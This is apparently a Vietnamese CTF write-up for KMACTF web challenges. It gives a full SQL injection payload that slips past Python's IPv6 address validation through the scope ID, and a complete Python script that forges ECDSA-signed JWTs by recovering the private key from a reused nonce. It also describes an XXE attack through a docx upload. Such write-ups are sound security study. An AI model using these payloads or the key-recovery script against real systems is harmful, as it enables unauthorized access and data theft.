## Pickleball Bài này warm up nên check `/robots.txt`, source là sẽ ra 3 phần của flag. Flag: `KMACTF{p1Ckleb4ll_WitH-uU_piCklepal_5a6b89113abb}` ## maliciip Ở file DB ta sẽ biết được flag nằm ở table và column bất kì nên ta cần thực thi SQL Injection: ```sql DROP TABLE IF EXISTS `REDACTED_TABLE`; CREATE TABLE `REDACTED_TABLE` ( `REDACTED_COLUMN` varchar(128) NOT NULL ); INSERT INTO `REDACTED_TABLE` (`REDACTED_COLUMN`) VALUES ('KMA{redacted, of course}'); ``` File `app.py` ta có: ```python from flask import Flask, request, jsonify from ipaddress import ip_address from db.db import query_db, init_db app = Flask(__name__) app.config.from_object('conf.flask_conf.ProductionConfig') init_db(app) @app.get("/") def index(): return "", 200 @app.get("/list-ip") def list_ip(): limit = request.args.get('limit', 5, int) offset = request.args.get('offset', 0, int) result = query_db(f"SELECT ip, message FROM malicious_ip LIMIT {limit} OFFSET {offset}") return jsonify( [{"ip": ip, "message": message} for ip, message in result] ) @app.get("/check-ip") def check_ip(): ip = request.args.get('ip', None, ip_address) if ip is not None: result = query_db(f"SELECT ip, message FROM malicious_ip WHERE ip = '{ip}'") return jsonify( [{"ip": ip, "message": message} for ip, message in result] ) else: return "invalid IP, now your IP seems suspicious", 400 @app.route("/report-ip") def report_ip(): return "maybe next time?", 200 ``` Ta sẽ inject ở path `/chech-ip` với parameter `ip` và cần bypass `ip_address`. Chúng ta cần hiểu 1 chút về `Scope ID` trong IPv6: ```text Given the IPv6 Link-Local addressing, where every interface has the same network (fe80::/10), there must be some way to distinguish which specific network is meant when referring to a link-local address. That is what the Scope ID, also called a Zone ID so as not to be confused with the multicast scope flags, is for. Basically, the scope or zone is the interface in the host for link-local addresses. There are some RFCs around this, e.g. RFC 6874, Representing IPv6 Zone Identifiers in Address Literals and Uniform Resource Identifiers, which explains how to use this for URIs, including web browsers. The % character is used to denote the zone at the end of the text address representation: fe80::1:2:3:4%9 or fe80::1:2:3:4%eth0 ``` Okie, vậy là IPv6 sẽ có thể có phần `Scope ID` đằng sau nó, đi chút vào source code ta sẽ có: ```python addr_str, self._scope_id = self._split_scope_id(addr_str) self._ip = self._ip_int_from_string(addr_str) def __str__(self): ip_str = super().__str__() return ip_str + '%' + self._scope_id if self._scope_id else ip_str ``` => Vậy `Scope ID` sẽ không bị ép kiểu hoặc check và sẽ trả về y nguyên ban đầu. Payload: `fe80::1:2:3:4%' UNION SELECT _____________________________________________MaL1ci0uS_c0lUmnN,2 FROM ______________________________________________m4LiC10u5_T413Le #` Flag: `KMACTF{actually__this_flag-is_not_so_malicious_but_the_ipv6_is}` ## Not So Secure Bài cho chúng ta nhập tên và quirk code rồi redirect tới `/dashboard` ![image](https://hackmd.io/_uploads/ryaGVfGnR.png) Và mục đích của ta sẽ là chuyển quirk thành HACKING: ![image](https://hackmd.io/_uploads/r135VGzhA.png) ![image](https://hackmd.io/_uploads/HkQ1SGfnR.png) Dựa vào một bài của Nahamcon 2021, ta tiến hành đổi jwt. Payload: ```python import base64 import hashlib # curve parameters of P-256 (see: https://ldapwiki.com/wiki/P-256) n = 115792089210356248762697446949407573529996955224135760342422259061068512044369 L_n = len(bin(n)[2:]) def parse_signature(token): t = token.split(".") sig = base64.urlsafe_b64decode(t[2]+"===") m = t[0]+"."+t[1] e = hashlib.sha256(m.encode()).digest() z = int(bin(int(e.hex(),16))[2:L_n+2],2) r = int(sig[:-32].hex(),16) # start of the signature is r, which is defined as the x-component of the point k*G on the curve s = int(sig[-32:].hex(),16) # the last 32 bytes of the signature is the s value return r,s,z # two tokes generated for the usernames "admim" and "admio" respectively token1 = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkZ1a3VpY2hvIiwicXVpcmsiOiJjaXZpbGlhbiJ9.B5Tj6WgyWib7Qz0g4wXSS2pQMuh_sKvANfK4pEjJq_JPTZURCVULdjNrdJiRunhwIFJuuiPS_np9awGAs3lEDg" token2 = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkZ1a3VpY2htIiwicXVpcmsiOiJjaXZpbGlhbiJ9.B5Tj6WgyWib7Qz0g4wXSS2pQMuh_sKvANfK4pEjJq_K2ZjcJG6j-wM4x2M8few_R1c3BTuhVrvdvQd9qLQFOBA" # calculate the signature parameters from the tokens r1, s1, z1 = parse_signature(token1) r2, s2, z2 = parse_signature(token2) assert r1==r2 # checks if the r-values match for the two signatures, if they do (spoiler alert: they do), then the same k-value is used and a signature can be forged # recover the private key d from the two signatures using modular arithmetic (read the wikipedia article) k = ((z1-z2)*pow((s1-s2)%n,-1,n))%n # k = (z-z')/(s-s') (mod n) d = ((s1*k-z1)*pow(r1,-1,n))%n # header and payload of the JWT admin_token = b"eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9." + base64.urlsafe_b64encode(b'{"username":"Fukuichi","quirk":"HACKING"}') admin_token = admin_token.replace(b"=",b"") # calculate the signature using the recovered private key (again, read the wikipedia article) e = hashlib.sha256(admin_token).digest() # e = HASH(m) z = int(bin(int(e.hex(),16))[2:L_n+2],2) # z = e[:L_n] (in bits) r = r1 s = (pow(k,-1,n)*(z+r*d))%n # s = (z+rd)/k (mod n) # putting r and s together and encoding signature = bytes.fromhex(hex(r)[2:].zfill(64)) + bytes.fromhex(hex(s)[2:].zfill(64)) admin_token += b"." + base64.urlsafe_b64encode(signature) # print forged token print(admin_token.decode()[:-2]) ``` Ở trang `/dashboard` cho phép chúng ta upload file docx và cho ra số `Words`: ![image](https://hackmd.io/_uploads/rJhQIMf2R.png) Vậy thì mình sẽ tiến hành XXE vào tag `<Words>` trong file `docProps/app.xml` vào và đọc file flag. [Đọc thêm](https://medium.com/@x3rz/hackpack-ctf-2021-indead-v2-df9ddb4b4083) ![image](https://hackmd.io/_uploads/S1ggwff20.png) Flag: `KMACTF{3cd54_n0nc3_r3u53_4774ck_4nd_xx3_up104d}`